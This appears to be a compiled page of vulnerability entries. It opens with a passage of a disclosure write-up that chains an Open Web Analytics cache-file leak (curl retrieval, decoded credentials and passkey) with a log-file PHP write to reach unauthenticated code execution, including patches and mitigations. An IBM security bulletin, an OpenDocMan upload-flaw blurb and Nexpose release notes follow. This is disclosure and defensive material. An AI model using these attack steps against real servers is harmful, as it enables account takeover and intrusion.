Since the PHP cache files are publicly accessible (owa-data/caches/), we can retrieve the base64 encoded serialized data. In order to do this, we need to know the name of the cache file. Though it turned out, that the filename is predictable. If the admin user at least logged in once, the cache file exists. But even if the user never logged in, we can trigger the creation by trying to login with this user. The failed login attempt does also create the cache file.

After calculating the filename, we can easily retrieve the cache file:

user@b0x:~$ curl http://localhost/owa\_web/owa-data/caches/1/owa\_user/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.php

<?php\\n/\*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJ ... YWNoZSI7Tjt9\*/\\n?>

The base64 encoded data contains all properties of the user within the MySQL database including the username, hashed password, temp\_passkey and API key:

user@b0x:~$ echo Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJ ... YWNoZSI7Tjt9 | base64 -d
O:8:"owa\_user":5:{s:4:"name";s:9:"base.user";s:10:"properties"; ...
...
... s:4:"name";N;s:5:"value";s:5:"admin"; ...
... s:8:"password";O:12:"owa\_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$vT89Rpbp/kz92SdR2j03luLVFOy7ldaqdyOIpTmFtmp2WGGOmFIwS"; ...
... s:12:"temp\_passkey";O:12:"owa\_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"d7d8c0d6c8da08adea071fa80220b121"; ...
... s:7:"api\_key";s:5:"value";s:32:"2f37b9889afb326b2ae21a5eb45933bd"; ...
...
}s:12:"wasPersisted";b:1;s:5:"cache";N;}

The password is hashed and thus needs to be cracked before being valuable. Though the temp\_passkey can directly be used to set a new password for the user via the base.usersChangePassword action. After changing the password, an attacker can successfully login and now has full admin privileges.

**PHP file write**

The second vulnerability is a PHP file write, which requires admin privileges.

By browsing to the Settings tab in the admin interface, different options can be set:

![](https://devel0pment.de/wp-content/uploads/2022/02/screen01.png)

When updating the settings (action base.optionsUpdate) the controller owa\_optionsUpdateController is triggered, which is responsible for persisting the new settings:

class owa\_optionsUpdateController extends owa\_adminController {

    ...

    function action() {

        $c = owa\_coreAPI::configSingleton();

        $config\_values = $this->get('config');

        if (!empty($config\_values)) {

            foreach ($config\_values as $k => $v) {

                list($module, $name) = explode('.', $k);

                if ( $module && $name ) {
                    $c->persistSetting($module, $name, $v);
                }
            }

            $c->save();
            owa\_coreAPI::notice("Configuration changes saved to database.");
            $this->setStatusCode(2500);
        }

        $this->setRedirectAction('base.optionsGeneral');
    }

    ...

The selected settings are sent via the config parameter ($config\_values). As we can see there is no restriction on the settings we can define. Although only a few settings are displayed in the GUI on the Settings tab, we can change all other settings by crafting a corresponding POST request.

Two of these settings are used within the owa\_error class, which is responsible for logging. When the application is running in production mode, the method createProductionHandler is called to initialize the logfile by calling make\_file\_logger:

...
class owa\_error {

    ...

    function createProductionHandler() {

        ...
        
        $this->make\_file\_logger();

        ...
    }
    
    ...
    
    function make\_file\_logger() {

        $path = owa\_coreAPI::getSetting('base', 'error\_log\_file');
        //instantiate a a log file
        $conf = array('name' => 'debug\_log', 'file\_path' => $path);
        $this->loggers\['file'\] = owa\_coreAPI::supportClassFactory( 'base', 'logFile', $conf );
    }

As we can see the file path of the logfile is determined by calling the owa\_coreAPI::getSetting method. The setting being used is base.error\_log\_file. We can control this value and thus control the file path, where the log is being written. This means that we can also set the file path to be a PHP file. In order to execute arbitrary PHP code, we only need to control some data, which is written to the logfile.

By default the application is only logging events with the log level OWA\_LOG\_NOTICE. These messages are mainly static and do not contain any data, which can be controlled by an attacker. Thus let’s have a look at the logging mechanism.

When a message is supposed to be logged, the method logMsg is called with the corresponding priority (log level):

    function logMsg( $msg, $priority ) {

        ...
        
        // check error priority before logging.
        if ( owa\_coreAPI::getSetting('base', 'error\_log\_level') <= $priority ) {

            $dt = date("H:i:s Y-m-d");
            $pid = getmypid();
            foreach ( $this->loggers as $logger ) {

                $message = sprintf("%s %s \[%s\] %s \\n", $dt, $pid, $logger->name, $msg);
                $logger->append( $message );
                ...

The code snippet above shows that before the message is actually logged, the value of base.error\_log\_level is checked. If the $priority value is greater or equal than the current base.error\_log\_level, the message is logged. We can also control the value of base.error\_log\_level. By setting this value to OWA\_LOG\_DEBUG = 2, the messages being logged are very verbose and even include each POST parameter send to the application. This way an attacker can easily inject arbitrary PHP code into the logfile. By accessing this logfile, which was set to a PHP file, the injected code is executed resulting in RCE.

**Demonstration**

The combination of both vulnerabilities can be leveraged by an unauthenticated attacker to gain RCE as the following demonstration shows:

![](https://devel0pment.de/wp-content/uploads/2022/03/owa_unauth_rce.gif)

**Patch and Mitigations**

Within this section we want to determine how both of these vulnerabilities can be mitigated and point out a few general aspects regarding secure coding.

Only shortly after my notification Peter provided a patch for the file cache vulnerability (CVE-2022-24637). This patch tackles the vulnerability on multiple layers. At first single quotes for the cache\_file\_header and cache\_file\_footer are replaced by double quotes preventing the leak, which was the actual cause of the vulnerability. Though the patch contains further hardening. The secret OWA\_AUTH\_KEY value is included into the cache filename calculation. Without knowing this value, it is far harder to determine the name of the cache file. Also the owa\_user entity was removed from the cache at all. Thus there is no cache file for user entities. Not part of the above commit, but also a crucial mitigation is to prevent files from being accessed via the webserver, which are not supposed to be accessed directly. One way to achieve this is to move all files out of the webroot, which are not supposed to be accessed via the webserver. The problem with this solution is that the website administrator needs file system access beyond the webroot. Depending on the hosting or security model this might not be intended. Another way is to use a webserver specific restriction mechanism like an .htaccess file, when an apache webserver is in place.

The second vulnerability is quite common for PHP. File writes should really be handled carefully. If an attacker can control what is being written to a file, RCE is not far away. Even if the file does not reside within the webroot or does not have a .php extension, an additional local file inclusion (LFI) vulnerability, which might be useless on its own, turns this into easy RCE. In this case a restriction should enforce that the logfile can only be a .txt file. Also this file should not reside within the webroot, if viable. This restriction must be enforced, if there is the necessity of making the file path configurable. Generally the settings, which are configurable via the webinterface, should be very limited. A more adequate way to make sensitive settings configurable is by defining constant values in a config file. These can only be changed by actually altering the config file (which in the best case should only be possible to the legitimate website administrator).

Summing up, the key takeaways are:

*   Mind the difference between single and double quotes in PHP
*   When hashing values, add a secret pepper / salt value
*   Do not store any files in the webroot, which are not supposed to be accessed via the webserver, or employ restrictions to prevent direct access to these files
*   Carefully restrict file writes (content, file path and extension)
*   Restrict which settings are configurable via the webinterface

**Conclusion**

The article described the chaining of two vulnerabilities in OWA, which can be exploited by an unauthenticated attacker to gain RCE on the underlying webserver. Also we took a look at how these vulnerabilities can be mitigated and pointed out a few general aspects regarding secure coding.

Thanks again to Peter for professionally handling these issues and quickly providing a patch.

**Timeline**  
01 February 2022 – Vendor Notification  
01 February 2022 – Vendor Acknowledgement  
02 February 2022 – Vendor Patch  
18 March 2022 – Public Disclosure

Post Views: 157

IBM Engineering Requirements Quality Assistant prior to 3.1.3 could allow an authenticated user to cause a denial of service. IBM X-Force ID: 207413.

**Security Bulletin**

  

**Summary**

There are multiple vulnerabilites that affect IBM Engineering Requirements Quality Assistant On-Premises. All issues listed below are fixed in RQA release 3.1.3

**Vulnerability Details**

**CVEID:**   CVE-2021-29899  
**DESCRIPTION:**   IBM Engineering Requirements Quality Assistant could allow an authenticated user to cause a denial of service.  
CVSS Base score: 6.5  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/207413 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

**CVEID:**   CVE-2021-4104  
**DESCRIPTION:**   Apache Log4j could allow a remote attacker to execute arbitrary code on the system, caused by the deserialization of untrusted data when the attacker has write access to the Log4j configuration. If the deployed application is configured to use JMSAppender, an attacker could exploit this vulnerability to execute arbitrary code on the system.  
CVSS Base score: 8.1  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/215048 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

**CVEID:**   CVE-2021-27290  
**DESCRIPTION:**   Node.js ssri module is vulnerable to a denial of service, caused by a regular expression denial of service (ReDoS) flaw by the SRIs. By sending a specially-crafted regex string, a remote attacker could exploit this vulnerability to cause a denial of service condition.  
CVSS Base score: 7.5  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/198144 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

**CVEID:**   CVE-2022-21824  
**DESCRIPTION:**   Node.js could provide weaker than expected security, caused by an error related to the formatting logic of the console.table() function. An attacker could exploit this vulnerability using console.table properties to allow an empty string to be assigned to numerical keys of the object prototype.  
CVSS Base score: 5.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/216933 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

**CVEID:**   CVE-2021-44531  
**DESCRIPTION:**   Node.js could allow a remote attacker to bypass security restrictions, caused by the improper handling of URI Subject Alternative Name (SAN) types. An attacker could exploit this vulnerability to bypass name-constrained intermediates.  
CVSS Base score: 5.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/216930 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

**CVEID:**   CVE-2021-44532  
**DESCRIPTION:**   Node.js could allow a remote attacker to bypass security restrictions, caused by a string injection vulnerability when name constraints were used within a certificate chain. An attacker could exploit this vulnerability to bypass the name constraints.  
CVSS Base score: 5.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/216931 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

**CVEID:**   CVE-2021-29469  
**DESCRIPTION:**   Node Redis redis module for Node.js is vulnerable to a denial of service, caused by a regular expression denial of service flaw in monitor mode. By sending specially-crafted regex input, a remote authenticated attacker could exploit this vulnerability to cause a denial of service condition.  
CVSS Base score: 5.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/200618 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H)

**Affected Products and Versions**

Affected Product(s)

Version(s)

IBM Engineering Requirements Quality Assistant On-Premises

All

  

**Remediation/Fixes**

For all the IBM Engineering Quality Assistant On-Premises versions please go and follow the steps mentioned for **Upgrading RQA to 3.1.3** to apply the remediation.

**Workarounds and Mitigations**

None

**References**

Off

**Change History**

10 Mar 2022: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU059","label":"IBM Software w\\/o TPS"},"Product":{"code":"SS3UPN","label":"IBM Engineering Requirements Quality Assistant"},"Component":"","Platform":\[{"code":"PF025","label":"Platform Independent"}\],"Version":"All","Edition":"","Line of Business":{"code":"LOB02","label":"AI Applications"}}\]

CVE-2021-29899: Security Bulletin: There are multiple vulnerabilites that affect IBM Engineering Requirements Quality Assistant On-Premises (CVE-2021-4104, CVE-2021-29469, CVE-2021-44531, CVE-2021-44531, CVE-2022-218

An attacker can upload or transfer files of dangerous types to the OpenDocMan 1.4.4 portal via add.php using MIME-bypass, which may be automatically processed within the product's environment or lead to arbitrary code execution.

![](http://c196393.r93.cf1.rackcdn.com/wp-content/uploads/2010/05/3188__dp__e%2850x50%29.jpg?cda6c1)

OpenDocMan was developed under the open source GPL license, which in a nutshell allows you to use the program for free and modify it any way you wish. We also encourage feedback from our users when they encounter issues, or have suggestions. Free document management software is good for you.

**No Changing of Business Rules Required**

Unlike most DMS’s that require you to change your business rules in order to manage your documents, OpenDocMan allows you to integrate your current rules. Through supporting multiple file types, to departmental review, OpenDocMan lets you concentrate on the business at hand, document management. Free document management software is good to find.

**Easy To Use and Setup**

Your users will appreciate the minimalist approach to the user interface. Your IT staff will enjoy the automated installation process.

**Robust User Management**

IT staff and managers can delegate document management duties to any number of staff members, through user and group permissions. Permissions can be set as restrictively or permissively as needed.

**Document Management Software Basics**

Document management software and document management in general is based around a concept of centralized document storage, limited access, and change tracking. These three DMS software fundamentals make up much of ISO 17025 in regards to document management systems.

> **Centralized Document Storage:**

> Any decent document management system ( DMS ), whether it is open source or commercial, will allow documents to be stored in some sort of centralized location. This makes finding documents in the DMS much easier, as there is only one place to look.
> 
> **Limited Access:**
> 
> Having a centralized location to store files is not enough to call your product a document management system. A simple folder on your computer can allow files to be stored, but limiting access to specific individuals becomes more of a problem. A good DMS will allow fine-grained access to each and every file.
> 
> **Tracking Changes:**
> 
> Limiting access to the DMS files is a good step in the right direction but does no good if the files can be changed, added, removed without tracking of those actions. A good document management software system will add on change tracking for the files so that changes can be noted, and reversed if need be.

**OpenSource Document Management System**

OpenDocMan is an open source document management system, also known as an open source DMS. Here are some of the key features of the document software:

**Document Management Files**

*   Add any file type to the system
*   Not FTP required. Upload directly from your browser.
*   Meta data fields for each file
*   Assign a department/category to each file
*   Check-out feature to prevent over-writing of edits
*   Revision history
*   Documents are stored physically on the server
*   File expiration
*   Create custom document properties to match your companies needs

**Document Management Workflow**

*   Automated document review process
*   Automated file expiration process
*   Reviewer can approve or reject a new document or a changed document
*   E-mail notification options prior to and after a review

**Document Search**

*   Quick-browse search by author, department, or category
*   Full search by meta-data, author, department, category, file name, comments,etc.
*   No external indexing processes required

**Document Management Server Requirements**

*   Very lightweight and easy to install
*   PHP 5/MySQL 5
*   Apache/IIS
*   Automatic installer and updater

**Document Management Security**

*   Secure URL feature to obfuscate URL parameters
*   Fine grained user access control for each file
*   Departmental access control for each file
*   Three user types: User, Admin, and Super-Admin
*   Control the size limit of files independent of higher server limits

**Multiple Language Support**

*   Chinese
*   Croatian
*   English
*   Dutch
*   German
*   Portuguese
*   Turkish
*   Spanish

**Looking for a feature that is not in the list? Vote for it!**

![Free Document Management Software Quotes from BuyerZone.com](http://www.buyerzone.com/software/document-management-software/banners/468x60.gif)

CVE-2021-45834: OpenDocMan ™ - Open Source Document Management System - Free Document Management Software

Rapid7 Nexpose versions 6.6.129 and earlier suffer from a reflected cross site scripting vulnerability, within the shared scan configuration component of the tool. With this vulnerability an attacker could pass literal values as the test credentials, providing the opportunity for a potential XSS attack. This issue is fixed in Rapid7 Nexpose version 6.6.130.

*   We fixed an issue where some scan engine updates were being skipped. This caused some engines to be out of sync with their updates.
    
*   In Shared Scan Credential Configuration, test credentials no longer allow literal values to be passed, which could have provided a potential opportunity for an XSS attack. Thank you to Aleksey Solovev for disclosing this issue.
    
*   An issue which prevented users from deleting custom policies when arf files were corrupted or missing has been fixed. The policy deletion will now complete and a warning will be displayed in the console log, highlighting the arf files.
    
*   Goals dashboard cards failed to load correctly, which caused the entire dashboard not to load. Dashboards now successfully load in this case.
    
*   We fixed an issue which caused some assets with the InsightVM Agent installed to fail to remediate vulnerabilities in the Console UI if the Agent data is never imported.
    
*   We fixed an issue that was causing errors in the console and engine communications to be suppressed.
    
*   We fixed F+ for Rule 4.2.9 in CIS IBM AIX 7.1 Benchmark 1.1.0 and for some rules in the Apache http 2.4 policy v1.3.0.
    
*   We fixed an issue when asserting network interfaces.
    
*   We fixed an issue that caused scans to be slow to start and consoles to lose connectivity to shared engines if a scan contained large IPv6 address ranges.

Tag

#apache